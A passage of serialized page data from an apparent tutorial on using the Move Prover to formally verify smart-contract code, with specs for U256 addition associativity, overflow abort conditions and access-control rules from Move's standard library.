get",{"type":21,"tag":198,"props":12660,"children":12661},{"style":211},[12662],{"type":27,"value":706},{"type":21,"tag":198,"props":12664,"children":12665},{"style":683},[12666],{"type":27,"value":3917},{"type":21,"tag":198,"props":12668,"children":12669},{"style":226},[12670],{"type":27,"value":34},{"type":21,"tag":198,"props":12672,"children":12673},{"style":211},[12674],{"type":27,"value":828},{"type":21,"tag":198,"props":12676,"children":12677},{"style":226},[12678],{"type":27,"value":4544},{"type":21,"tag":198,"props":12680,"children":12681},{"style":211},[12682],{"type":27,"value":1470},{"type":21,"tag":198,"props":12684,"children":12685},{"class":200,"line":365},[12686,12690,12695,12699,12703,12707,12711,12715,12719,12723],{"type":21,"tag":198,"props":12687,"children":12688},{"style":249},[12689],{"type":27,"value":3809},{"type":21,"tag":198,"props":12691,"children":12692},{"style":226},[12693],{"type":27,"value":12694}," b1",{"type":21,"tag":198,"props":12696,"children":12697},{"style":683},[12698],{"type":27,"value":979},{"type":21,"tag":198,"props":12700,"children":12701},{"style":698},[12702],{"type":27,"value":12658},{"type":21,"tag":198,"props":12704,"children":12705},{"style":211},[12706],{"type":27,"value":706},{"type":21,"tag":198,"props":12708,"children":12709},{"style":683},[12710],{"type":27,"value":3917},{"type":21,"tag":198,"props":12712,"children":12713},{"style":226},[12714],{"type":27,"value":4029},{"type":21,"tag":198,"props":12716,"children":12717},{"style":211},[12718],{"type":27,"value":828},{"type":21,"tag":198,"props":12720,"children":12721},{"style":226},[12722],{"type":27,"value":4544},{"type":21,"tag":198,"props":12724,"children":12725},{"style":211},[12726],{"type":27,"value":1470},{"type":21,"tag":198,"props":12728,"children":12729},{"class":200,"line":386},[12730],{"type":21,"tag":198,"props":12731,"children":12732},{"emptyLinePlaceholder":16},[12733],{"type":27,"value":1283},{"type":21,"tag":198,"props":12735,"children":12736},{"class":200,"line":408},[12737,12741,12745],{"type":21,"tag":198,"props":12738,"children":12739},{"style":211},[12740],{"type":27,"value":2051},{"type":21,"tag":198,"props":12742,"children":12743},{"style":683},[12744],{"type":27,"value":10402},{"type":21,"tag":198,"props":12746,"children":12747},{"style":211},[12748],{"type":27,"value":12582},{"type":21,"tag":30,"props":12750,"children":12751},{},[12752],{"type":27,"value":12753},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":21,"tag":187,"props":12755,"children":12757},{"code":12756},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[12758],{"type":21,"tag":194,"props":12759,"children":12760},{"__ignoreMap":7},[12761],{"type":27,"value":12756},{"type":21,"tag":30,"props":12763,"children":12764},{},[12765,12767,12772,12773,12779],{"type":27,"value":12766},"For the ",{"type":21,"tag":6137,"props":12768,"children":12769},{},[12770],{"type":27,"value":12771},"Associative Property",{"type":27,"value":648},{"type":21,"tag":194,"props":12774,"children":12776},{"className":12775},[],[12777],{"type":27,"value":12778},"a+(b+c) = (a+b)+c",{"type":27,"value":12780},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":21,"tag":187,"props":12782,"children":12784},{"code":12783,"language":3788,"meta":7,"className":3789,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[12785],{"type":21,"tag":194,"props":12786,"children":12787},{"__ignoreMap":7},[12788,12865,12904,12945,12984,13025,13032,13082,13121],{"type":21,"tag":198,"props":12789,"children":12790},{"class":200,"line":201},[12791,12795,12800,12804,12808,12812,12816,12820,12824,12828,12832,12836,12840,12844,12848,12852,12856,12861],{"type":21,"tag":198,"props":12792,"children":12793},{"style":226},[12794],{"type":27,"value":7919},{"type":21,"tag":198,"props":12796,"children":12797},{"style":698},[12798],{"type":27,"value":12799}," add_assoc_property",{"type":21,"tag":198,"props":12801,"children":12802},{"style":211},[12803],{"type":27,"value":706},{"type":21,"tag":198,"props":12805,"children":12806},{"style":226},[12807],{"type":27,"value":34},{"type":21,"tag":198,"props":12809,"children":12810},{"style":683},[12811],{"type":27,"value":185},{"type":21,"tag":198,"props":12813,"children":12814},{"style":1966},[12815],{"type":27,"value":5542},{"type":21,"tag":198,"props":12817,"children":12818},{"style":211},[12819],{"type":27,"value":828},{"type":21,"tag":198,"props":12821,"children":12822},{"style":226},[12823],{"type":27,"value":4029},{"type":21,"tag":198,"props":12825,"children":12826},{"style":683},[12827],{"type":27,"value":185},{"type":21,"tag":198,"props":12829,"children":12830},{"style":1966},[12831],{"type":27,"value":5542},{"type":21,"tag":198,"props":12833,"children":12834},{"style":211},[12835],{"type":27,"value":828},{"type":21,"tag":198,"props":12837,"children":12838},{"style":226},[12839],{"type":27,"value":3954},{"type":21,"tag":198,"props":12841,"children":12842},{"style":683},[12843],{"type":27,"value":185},{"type":21,"tag":198,"props":12845,"children":12846},{"style":1966},[12847],{"type":27,"value":5542},{"type":21,"tag":198,"props":12849,"children":12850},{"style":211},[12851],{"type":27,"value":2109},{"type":21,"tag":198,"props":12853,"children":12854},{"style":683},[12855],{"type":27,"value":185},{"type":21,"tag":198,"props":12857,"children":12858},{"style":1966},[12859],{"type":27,"value":12860}," bool",{"type":21,"tag":198,"props":12862,"children":12863},{"style":211},[12864],{"type":27,"value":233},{"type":21,"tag":198,"props":12866,"children":12867},{"class":200,"line":217},[12868,12872,12876,12880,12884,12888,12892,12896,12900],{"type":21,"tag":198,"props":12869,"children":12870},{"style":249},[12871],{"type":27,"value":3809},{"type":21,"tag":198,"props":12873,"children":12874},{"style":226},[12875],{"type":27,"value":9002},{"type":21,"tag":198,"props":12877,"children":12878},{"style":683},[12879],{"type":27,"value":979},{"type":21,"tag":198,"props":12881,"children":12882},{"style":698},[12883],{"type":27,"value":10393},{"type":21,"tag":198,"props":12885,"children":12886},{"style":211},[12887],{"type":27,"value":706},{"type":21,"tag":198,"props":12889,"children":12890},{"style":226},[12891],{"type":27,"value":4029},{"type":21,"tag":198,"props":12893,"children":12894},{"style":211},[12895],{"type":27,"value":828},{"type":21,"tag":198,"props":12897,"children":12898},{"style":226},[12899],{"type":27,"value":3954},{"type":21,"tag":198,"props":12901,"children":12902},{"style":211},[12903],{"type":27,"value":1470},{"type":21,"tag":198,"props":12905,"children":12906},{"class":200,"line":236},[12907,12911,12916,12920,12924,12928,12932,12936,12941],{"type":21,"tag":198,"props":12908,"children":12909},{"style":249},[12910],{"type":27,"value":3809},{"type":21,"tag":198,"props":12912,"children":12913},{"style":226},[12914],{"type":27,"value":12915}," result_11",{"type":21,"tag":198,"props":12917,"children":12918},{"style":683},[12919],{"type":27,"value":979},{"type":21,"tag":198,"props":12921,"children":12922},{"style":698},[12923],{"type":27,"value":10393},{"type":21,"tag":198,"props":12925,"children":12926},{"style":211},[12927],{"type":27,"value":706},{"type":21,"tag":198,"props":12929,"children":12930},{"style":226},[12931],{"type":27,"value":34},{"type":21,"tag":198,"props":12933,"children":12934},{"style":211},[12935],{"type":27,"value":828},{"type":21,"tag":198,"props":12937,"children":12938},{"style":226},[12939],{"type":27,"value":12940},"result_1",{"type":21,"tag":198,"props":12942,"children":12943},{"style":211},[12944],{"type":27,"value":1470},{"type":21,"tag":198,"props":12946,"children":12947},{"class":200,"line":260},[12948,12952,12956,12960,12964,12968,12972,12976,12980],{"type":21,"tag":198,"props":12949,"children":12950},{"style":249},[12951],{"type":27,"value":3809},{"type":21,"tag":198,"props":12953,"children":12954},{"style":226},[12955],{"type":27,"value":9028},{"type":21,"tag":198,"props":12957,"children":12958},{"style":683},[12959],{"type":27,"value":979},{"type":21,"tag":198,"props":12961,"children":12962},{"style":698},[12963],{"type":27,"value":10393},{"type":21,"tag":198,"props":12965,"children":12966},{"style":211},[12967],{"type":27,"value":706},{"type":21,"tag":198,"props":12969,"children":12970},{"style":226},[12971],{"type":27,"value":34},{"type":21,"tag":198,"props":12973,"children":12974},{"style":211},[12975],{"type":27,"value":828},{"type":21,"tag":198,"props":12977,"children":12978},{"style":226},[12979],{"type":27,"value":4029},{"type":21,"tag":198,"props":12981,"children":12982},{"style":211},[12983],{"type":27,"value":1470},{"type":21,"tag":198,"props":12985,"children":12986},{"class":200,"line":281},[12987,12991,12996,13000,13004,13008,13012,13016,13021],{"type":21,"tag":198,"props":12988,"children":12989},{"style":249},[12990],{"type":27,"value":3809},{"type":21,"tag":198,"props":12992,"children":12993},{"style":226},[12994],{"type":27,"value":12995}," result_22",{"type":21,"tag":198,"props":12997,"children":12998},{"style":683},[12999],{"type":27,"value":979},{"type":21,"tag":198,"props":13001,"children":13002},{"style":698},[13003],{"type":27,"value":10393},{"type":21,"tag":198,"props":13005,"children":13006},{"style":211},[13007],{"type":27,"value":706},{"type":21,"tag":198,"props":13009,"children":13010},{"style":226},[13011],{"type":27,"value":3954},{"type":21,"tag":198,"props":13013,"children":13014},{"style":211},[13015],{"type":27,"value":828},{"type":21,"tag":198,"props":13017,"children":13018},{"style":226},[13019],{"type":27,"value":13020},"result_2",{"type":21,"tag":198,"props":13022,"children":13023},{"style":211},[13024],{"type":27,"value":1470},{"type":21,"tag":198,"props":13026,"children":13027},{"class":200,"line":302},[13028],{"type":21,"tag":198,"props":13029,"children":13030},{"emptyLinePlaceholder":16},[13031],{"type":27,"value":1283},{"type":21,"tag":198,"props":13033,"children":13034},{"class":200,"line":323},[13035,13039,13043,13047,13052,13056,13060,13065,13069,13073,13078],{"type":21,"tag":198,"props":13036,"children":13037},{"style":249},[13038],{"type":27,"value":3809},{"type":21,"tag":198,"props":13040,"children":13041},{"style":226},[13042],{"type":27,"value":8671},{"type":21,"tag":198,"props":13044,"children":13045},{"style":683},[13046],{"type":27,"value":979},{"type":21,"tag":198,"props":13048,"children":13049},{"style":698},[13050],{"type":27,"value":13051}," compare",{"type":21,"tag":198,"props":13053,"children":13054},{"style":211},[13055],{"type":27,"value":706},{"type":21,"tag":198,"props":13057,"children":13058},{"style":683},[13059],{"type":27,"value":3917},{"type":21,"tag":198,"props":13061,"children":13062},{"style":226},[13063],{"type":27,"value":13064},"result_11",{"type":21,"tag":198,"props":13066,"children":13067},{"style":211},[13068],{"type":27,"value":828},{"type":21,"tag":198,"props":13070,"children":13071},{"style":683},[13072],{"type":27,"value":3917},{"type":21,"tag":198,"props":13074,"children":13075},{"style":226},[13076],{"type":27,"value":13077},"result_22",{"type":21,"tag":198,"props":13079,"children":13080},{"style":211},[13081],{"type":27,"value":1470},{"type":21,"tag":198,"props":13083,"children":13084},{"class":200,"line":344},[13085,13089,13094,13098,13102,13107,13111,13116],{"type":21,"tag":198,"props":13086,"children":13087},{"style":640},[13088],{"type":27,"value":643},{"type":21,"tag":198,"props":13090,"children":13091},{"style":211},[13092],{"type":27,"value":13093}," ( ",{"type":21,"tag":198,"props":13095,"children":13096},{"style":226},[13097],{"type":27,"value":8736},{"type":21,"tag":198,"props":13099,"children":13100},{"style":683},[13101],{"type":27,"value":4089},{"type":21,"tag":198,"props":13103,"children":13104},{"style":211},[13105],{"type":27,"value":13106}," EQUAL ) ",{"type":21,"tag":198,"props":13108,"children":13109},{"style":249},[13110],{"type":27,"value":4806},{"type":21,"tag":198,"props":13112,"children":13113},{"style":640},[13114],{"type":27,"value":13115}," else",{"type":21,"tag":198,"props":13117,"children":13118},{"style":249},[13119],{"type":27,"value":13120}," false\n",{"type":21,"tag":198,"props":13122,"children":13123},{"class":200,"line":365},[13124],{"type":21,"tag":198,"props":13125,"children":13126},{"style":211},[13127],{"type":27,"value":1120},{"type":21,"tag":30,"props":13129,"children":13130},{},[13131],{"type":27,"value":13132},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":21,"tag":187,"props":13134,"children":13136},{"code":13135,"language":3788,"meta":7,"className":3789,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[13137],{"type":21,"tag":194,"props":13138,"children":13139},{"__ignoreMap":7},[13140,13155,13259,13282],{"type":21,"tag":198,"props":13141,"children":13142},{"class":200,"line":201},[13143,13147,13151],{"type":21,"tag":198,"props":13144,"children":13145},{"style":226},[13146],{"type":27,"value":9085},{"type":21,"tag":198,"props":13148,"children":13149},{"style":226},[13150],{"type":27,"value":12799},{"type":21,"tag":198,"props":13152,"children":13153},{"style":211},[13154],{"type":27,"value":233},{"type":21,"tag":198,"props":13156,"children":13157},{"class":200,"line":217},[13158,13162,13166,13171,13175,13179,13183,13187,13191,13195,13199,13203,13207,13211,13215,13219,13223,13227,13231,13235,13239,13243,13247,13251,13255],{"type":21,"tag":198,"props":13159,"children":13160},{"style":226},[13161],{"type":27,"value":10712},{"type":21,"tag":198,"props":13163,"children":13164},{"style":211},[13165],{"type":27,"value":648},{"type":21,"tag":198,"props":13167,"children":13168},{"style":698},[13169],{"type":27,"value":13170},"value_of_U256",{"type":21,"tag":198,"props":13172,"children":13173},{"style":211},[13174],{"type":27,"value":706},{"type":21,"tag":198,"props":13176,"children":13177},{"style":226},[13178],{"type":27,"value":34},{"type":21,"tag":198,"props":13180,"children":13181},{"style":211},[13182],{"type":27,"value":1541},{"type":21,"tag":198,"props":13184,"children":13185},{"style":683},[13186],{"type":27,"value":5193},{"type":21,"tag":198,"props":13188,"children":13189},{"style":698},[13190],{"type":27,"value":10513},{"type":21,"tag":198,"props":13192,"children":13193},{"style":211},[13194],{"type":27,"value":706},{"type":21,"tag":198,"props":13196,"children":13197},{"style":226},[13198],{"type":27,"value":4029},{"type":21,"tag":198,"props":13200,"children":13201},{"style":211},[13202],{"type":27,"value":9647},{"type":21,"tag":198,"props":13204,"children":13205},{"style":683},[13206],{"type":27,"value":5193},{"type":21,"tag":198,"props":13208,"children":13209},{"style":698},[13210],{"type":27,"value":10513},{"type":21,"tag":198,"props":13212,"children":13213},{"style":211},[13214],{"type":27,"value":706},{"type":21,"tag":198,"props":13216,"children":13217},{"style":226},[13218],{"type":27,"value":3954},{"type":21,"tag":198,"props":13220,"children":13221},{"style":211},[13222],{"type":27,"value":1541},{"type":21,"tag":198,"props":13224,"children":13225},{"style":683},[13226],{"type":27,"value":10753},{"type":21,"tag":198,"props":13228,"children":13229},{"style":1966},[13230],{"type":27,"value":10469},{"type":21,"tag":198,"props":13232,"children":13233},{"style":683},[13234],{"type":27,"value":10626},{"type":21,"tag":198,"props":13236,"children":13237},{"style":1966},[13238],{"type":27,"value":10469},{"type":21,"tag":198,"props":13240,"children":13241},{"style":683},[13242],{"type":27,"value":10626},{"type":21,"tag":198,"props":13244,"children":13245},{"style":1966},[13246],{"type":27,"value":10469},{"type":21,"tag":198,"props":13248,"children":13249},{"style":683},[13250],{"type":27,"value":10626},{"type":21,"tag":198,"props":13252,"children":13253},{"style":1966},[13254],{"type":27,"value":10469},{"type":21,"tag":198,"props":13256,"children":13257},{"style":211},[13258],{"type":27,"value":1483},{"type":21,"tag":198,"props":13260,"children":13261},{"class":200,"line":236},[13262,13266,13270,13274,13278],{"type":21,"tag":198,"props":13263,"children":13264},{"style":226},[13265],{"type":27,"value":11010},{"type":21,"tag":198,"props":13267,"children":13268},{"style":226},[13269],{"type":27,"value":9971},{"type":21,"tag":198,"props":13271,"children":13272},{"style":683},[13273],{"type":27,"value":4089},{"type":21,"tag":198,"props":13275,"children":13276},{"style":249},[13277],{"type":27,"value":252},{"type":21,"tag":198,"props":13279,"children":13280},{"style":211},[13281],{"type":27,"value":1483},{"type":21,"tag":198,"props":13283,"children":13284},{"class":200,"line":260},[13285],{"type":21,"tag":198,"props":13286,"children":13287},{"style":211},[13288],{"type":27,"value":1120},{"type":21,"tag":30,"props":13290,"children":13291},{},[13292],{"type":27,"value":13293},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":21,"tag":187,"props":13295,"children":13296},{"code":12756},[13297],{"type":21,"tag":194,"props":13298,"children":13299},{"__ignoreMap":7},[13300],{"type":27,"value":12756},{"type":21,"tag":30,"props":13302,"children":13303},{},[13304,13306,13313],{"type":27,"value":13305},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":21,"tag":34,"props":13307,"children":13310},{"href":13308,"rel":13309},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[38],[13311],{"type":27,"value":13312},"spec-lang.md",{"type":27,"value":13314}," in the Move Repository.",{"type":21,"tag":22,"props":13316,"children":13318},{"id":13317},"use-cases",[13319],{"type":27,"value":13320},"Use Cases",{"type":21,"tag":30,"props":13322,"children":13323},{},[13324],{"type":27,"value":13325},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":21,"tag":30,"props":13327,"children":13328},{},[13329],{"type":27,"value":13330},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":21,"tag":59,"props":13332,"children":13334},{"id":13333},"error-conditions",[13335],{"type":27,"value":13336},"Error Conditions",{"type":21,"tag":30,"props":13338,"children":13339},{},[13340,13342,13348],{"type":27,"value":13341},"Taking an example from ",{"type":21,"tag":194,"props":13343,"children":13345},{"className":13344},[],[13346],{"type":27,"value":13347},"std::fixed_point32",{"type":27,"value":13349},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":21,"tag":187,"props":13351,"children":13353},{"code":13352,"language":3788,"meta":7,"className":3789,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[13354],{"type":21,"tag":194,"props":13355,"children":13356},{"__ignoreMap":7},[13357,13378,13398,13419,13464,13471,13534,13573],{"type":21,"tag":198,"props":13358,"children":13359},{"class":200,"line":201},[13360,13364,13369,13374],{"type":21,"tag":198,"props":13361,"children":13362},{"style":226},[13363],{"type":27,"value":9738},{"type":21,"tag":198,"props":13365,"children":13366},{"style":226},[13367],{"type":27,"value":13368}," schema",{"type":21,"tag":198,"props":13370,"children":13371},{"style":1966},[13372],{"type":27,"value":13373}," MultiplyAbortsIf",{"type":21,"tag":198,"props":13375,"children":13376},{"style":211},[13377],{"type":27,"value":233},{"type":21,"tag":198,"props":13379,"children":13380},{"class":200,"line":217},[13381,13386,13390,13394],{"type":21,"tag":198,"props":13382,"children":13383},{"style":226},[13384],{"type":27,"value":13385}," val",{"type":21,"tag":198,"props":13387,"children":13388},{"style":683},[13389],{"type":27,"value":185},{"type":21,"tag":198,"props":13391,"children":13392},{"style":226},[13393],{"type":27,"value":10542},{"type":21,"tag":198,"props":13395,"children":13396},{"style":211},[13397],{"type":27,"value":1483},{"type":21,"tag":198,"props":13399,"children":13400},{"class":200,"line":236},[13401,13406,13410,13415],{"type":21,"tag":198,"props":13402,"children":13403},{"style":226},[13404],{"type":27,"value":13405}," multiplier",{"type":21,"tag":198,"props":13407,"children":13408},{"style":683},[13409],{"type":27,"value":185},{"type":21,"tag":198,"props":13411,"children":13412},{"style":1966},[13413],{"type":27,"value":13414}," FixedPoint32",{"type":21,"tag":198,"props":13416,"children":13417},{"style":211},[13418],{"type":27,"value":1483},{"type":21,"tag":198,"props":13420,"children":13421},{"class":200,"line":260},[13422,13427,13432,13436,13441,13445,13450,13455,13459],{"type":21,"tag":198,"props":13423,"children":13424},{"style":226},[13425],{"type":27,"value":13426}," aborts_if",{"type":21,"tag":198,"props":13428,"children":13429},{"style":698},[13430],{"type":27,"value":13431}," spec_multiply_u64",{"type":21,"tag":198,"props":13433,"children":13434},{"style":211},[13435],{"type":27,"value":706},{"type":21,"tag":198,"props":13437,"children":13438},{"style":226},[13439],{"type":27,"value":13440},"val",{"type":21,"tag":198,"props":13442,"children":13443},{"style":211},[13444],{"type":27,"value":828},{"type":21,"tag":198,"props":13446,"children":13447},{"style":226},[13448],{"type":27,"value":13449},"multiplier",{"type":21,"tag":198,"props":13451,"children":13452},{"style":211},[13453],{"type":27,"value":13454},") > MAX_U64 ",{"type":21,"tag":198,"props":13456,"children":13457},{"style":226},[13458],{"type":27,"value":1213},{"type":21,"tag":198,"props":13460,"children":13461},{"style":211},[13462],{"type":27,"value":13463}," EMULTIPLICATION;\n",{"type":21,"tag":198,"props":13465,"children":13466},{"class":200,"line":281},[13467],{"type":21,"tag":198,"props":13468,"children":13469},{"style":211},[13470],{"type":27,"value":797},{"type":21,"tag":198,"props":13472,"children":13473},{"class":200,"line":302},[13474,13478,13482,13486,13490,13494,13498,13502,13506,13510,13514,13518,13522,13526,13530],{"type":21,"tag":198,"props":13475,"children":13476},{"style":226},[13477],{"type":27,"value":9738},{"type":21,"tag":198,"props":13479,"children":13480},{"style":226},[13481],{"type":27,"value":7019},{"type":21,"tag":198,"props":13483,"children":13484},{"style":698},[13485],{"type":27,"value":13431},{"type":21,"tag":198,"props":13487,"children":13488},{"style":211},[13489],{"type":27,"value":706},{"type":21,"tag":198,"props":13491,"children":13492},{"style":226},[13493],{"type":27,"value":13440},{"type":21,"tag":198,"props":13495,"children":13496},{"style":683},[13497],{"type":27,"value":185},{"type":21,"tag":198,"props":13499,"children":13500},{"style":226},[13501],{"type":27,"value":10542},{"type":21,"tag":198,"props":13503,"children":13504},{"style":211},[13505],{"type":27,"value":828},{"type":21,"tag":198,"props":13507,"children":13508},{"style":226},[13509],{"type":27,"value":13449},{"type":21,"tag":198,"props":13511,"children":13512},{"style":683},[13513],{"type":27,"value":185},{"type":21,"tag":198,"props":13515,"children":13516},{"style":1966},[13517],{"type":27,"value":13414},{"type":21,"tag":198,"props":13519,"children":13520},{"style":211},[13521],{"type":27,"value":2109},{"type":21,"tag":198,"props":13523,"children":13524},{"style":683},[13525],{"type":27,"value":185},{"type":21,"tag":198,"props":13527,"children":13528},{"style":226},[13529],{"type":27,"value":10542},{"type":21,"tag":198,"props":13531,"children":13532},{"style":211},[13533],{"type":27,"value":233},{"type":21,"tag":198,"props":13535,"children":13536},{"class":200,"line":323},[13537,13541,13545,13549,13554,13558,13563,13568],{"type":21,"tag":198,"props":13538,"children":13539},{"style":211},[13540],{"type":27,"value":9520},{"type":21,"tag":198,"props":13542,"children":13543},{"style":226},[13544],{"type":27,"value":13440},{"type":21,"tag":198,"props":13546,"children":13547},{"style":683},[13548],{"type":27,"value":10626},{"type":21,"tag":198,"props":13550,"children":13551},{"style":226},[13552],{"type":27,"value":13553}," multiplier",{"type":21,"tag":198,"props":13555,"children":13556},{"style":683},[13557],{"type":27,"value":658},{"type":21,"tag":198,"props":13559,"children":13560},{"style":211},[13561],{"type":27,"value":13562},"value) ",{"type":21,"tag":198,"props":13564,"children":13565},{"style":683},[13566],{"type":27,"value":13567},">>",{"type":21,"tag":198,"props":13569,"children":13570},{"style":2540},[13571],{"type":27,"value":13572}," 32\n",{"type":21,"tag":198,"props":13574,"children":13575},{"class":200,"line":344},[13576],{"type":21,"tag":198,"props":13577,"children":13578},{"style":211},[13579],{"type":27,"value":797},{"type":21,"tag":59,"props":13581,"children":13583},{"id":13582},"access-control-policies",[13584],{"type":27,"value":13585},"Access Control Policies",{"type":21,"tag":30,"props":13587,"children":13588},{},[13589],{"type":27,"value":13590},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":21,"tag":30,"props":13592,"children":13593},{},[13594,13596,13602,13604,13609],{"type":27,"value":13595},"For example, in ",{"type":21,"tag":194,"props":13597,"children":13599},{"className":13598},[],[13600],{"type":27,"value":13601},"std::offer",{"type":27,"value":13603}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":21,"tag":1671,"props":13605,"children":13606},{},[13607],{"type":27,"value":13608},"or",{"type":27,"value":13610}," the recipient is now allowed.",{"type":21,"tag":187,"props":13612,"children":13614},{"code":13613,"language":3788,"meta":7,"className":3789,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[13615],{"type":21,"tag":194,"props":13616,"children":13617},{"__ignoreMap":7},[13618,13635,13643,13651,13659,13706,13764,13807,13873],{"type":21,"tag":198,"props":13619,"children":13620},{"class":200,"line":201},[13621,13626,13631],{"type":21,"tag":198,"props":13622,"children":13623},{"style":226},[13624],{"type":27,"value":13625}," spec",{"type":21,"tag":198,"props":13627,"children":13628},{"style":226},[13629],{"type":27,"value":13630}," redeem",{"type":21,"tag":198,"props":13632,"children":13633},{"style":211},[13634],{"type":27,"value":233},{"type":21,"tag":198,"props":13636,"children":13637},{"class":200,"line":217},[13638],{"type":21,"tag":198,"props":13639,"children":13640},{"style":1233},[13641],{"type":27,"value":13642}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":21,"tag":198,"props":13644,"children":13645},{"class":200,"line":236},[13646],{"type":21,"tag":198,"props":13647,"children":13648},{"style":1233},[13649],{"type":27,"value":13650}," /// cannot redeem the offer.\n",{"type":21,"tag":198,"props":13652,"children":13653},{"class":200,"line":260},[13654],{"type":21,"tag":198,"props":13655,"children":13656},{"style":1233},[13657],{"type":27,"value":13658}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":21,"tag":198,"props":13660,"children":13661},{"class":200,"line":281},[13662,13666,13671,13675,13679,13684,13688,13693,13697,13702],{"type":21,"tag":198,"props":13663,"children":13664},{"style":226},[13665],{"type":27,"value":9863},{"type":21,"tag":198,"props":13667,"children":13668},{"style":683},[13669],{"type":27,"value":13670}," !",{"type":21,"tag":198,"props":13672,"children":13673},{"style":226},[13674],{"type":27,"value":7516},{"type":21,"tag":198,"props":13676,"children":13677},{"style":211},[13678],{"type":27,"value":3159},{"type":21,"tag":198,"props":13680,"children":13681},{"style":1966},[13682],{"type":27,"value":13683},"Offer",{"type":21,"tag":198,"props":13685,"children":13686},{"style":211},[13687],{"type":27,"value":3159},{"type":21,"tag":198,"props":13689,"children":13690},{"style":1966},[13691],{"type":27,"value":13692},"Offered",{"type":21,"tag":198,"props":13694,"children":13695},{"style":211},[13696],{"type":27,"value":7538},{"type":21,"tag":198,"props":13698,"children":13699},{"style":226},[13700],{"type":27,"value":13701},"offer_address",{"type":21,"tag":198,"props":13703,"children":13704},{"style":211},[13705],{"type":27,"value":1470},{"type":21,"tag":198,"props":13707,"children":13708},{"class":200,"line":302},[13709,13713,13717,13722,13726,13730,13734,13738,13743,13747,13751,13755,13760],{"type":21,"tag":198,"props":13710,"children":13711},{"style":226},[13712],{"type":27,"value":9863},{"type":21,"tag":198,"props":13714,"children":13715},{"style":683},[13716],{"type":27,"value":13670},{"type":21,"tag":198,"props":13718,"children":13719},{"style":226},[13720],{"type":27,"value":13721},"is_allowed_recipient",{"type":21,"tag":198,"props":13723,"children":13724},{"style":211},[13725],{"type":27,"value":3159},{"type":21,"tag":198,"props":13727,"children":13728},{"style":1966},[13729],{"type":27,"value":13692},{"type":21,"tag":198,"props":13731,"children":13732},{"style":211},[13733],{"type":27,"value":8423},{"type":21,"tag":198,"props":13735,"children":13736},{"style":226},[13737],{"type":27,"value":13701},{"type":21,"tag":198,"props":13739,"children":13740},{"style":211},[13741],{"type":27,"value":13742},", signer",{"type":21,"tag":198,"props":13744,"children":13745},{"style":683},[13746],{"type":27,"value":4286},{"type":21,"tag":198,"props":13748,"children":13749},{"style":698},[13750],{"type":27,"value":8021},{"type":21,"tag":198,"props":13752,"children":13753},{"style":211},[13754],{"type":27,"value":706},{"type":21,"tag":198,"props":13756,"children":13757},{"style":226},[13758],{"type":27,"value":13759},"account",{"type":21,"tag":198,"props":13761,"children":13762},{"style":211},[13763],{"type":27,"value":8035},{"type":21,"tag":198,"props":13765,"children":13766},{"class":200,"line":323},[13767,13771,13775,13779,13783,13787,13791,13795,13799,13803],{"type":21,"tag":198,"props":13768,"children":13769},{"style":226},[13770],{"type":27,"value":8997},{"type":21,"tag":198,"props":13772,"children":13773},{"style":683},[13774],{"type":27,"value":13670},{"type":21,"tag":198,"props":13776,"children":13777},{"style":226},[13778],{"type":27,"value":7516},{"type":21,"tag":198,"props":13780,"children":13781},{"style":211},[13782],{"type":27,"value":3159},{"type":21,"tag":198,"props":13784,"children":13785},{"style":1966},[13786],{"type":27,"value":13683},{"type":21,"tag":198,"props":13788,"children":13789},{"style":211},[13790],{"type":27,"value":3159},{"type":21,"tag":198,"props":13792,"children":13793},{"style":1966},[13794],{"type":27,"value":13692},{"type":21,"tag":198,"props":13796,"children":13797},{"style":211},[13798],{"type":27,"value":7538},{"type":21,"tag":198,"props":13800,"children":13801},{"style":226},[13802],{"type":27,"value":13701},{"type":21,"tag":198,"props":13804,"children":13805},{"style":211},[13806],{"type":27,"value":1470},{"type":21,"tag":198,"props":13808,"children":13809},{"class":200,"line":344},[13810,13814,13818,13822,13827,13831,13836,13840,13844,13848,13852,13856,13860,13864,13868],{"type":21,"tag":198,"props":13811,"children":13812},{"style":226},[13813],{"type":27,"value":8997},{"type":21,"tag":198,"props":13815,"children":13816},{"style":226},[13817],{"type":27,"value":9971},{"type":21,"tag":198,"props":13819,"children":13820},{"style":683},[13821],{"type":27,"value":4089},{"type":21,"tag":198,"props":13823,"children":13824},{"style":698},[13825],{"type":27,"value":13826}," 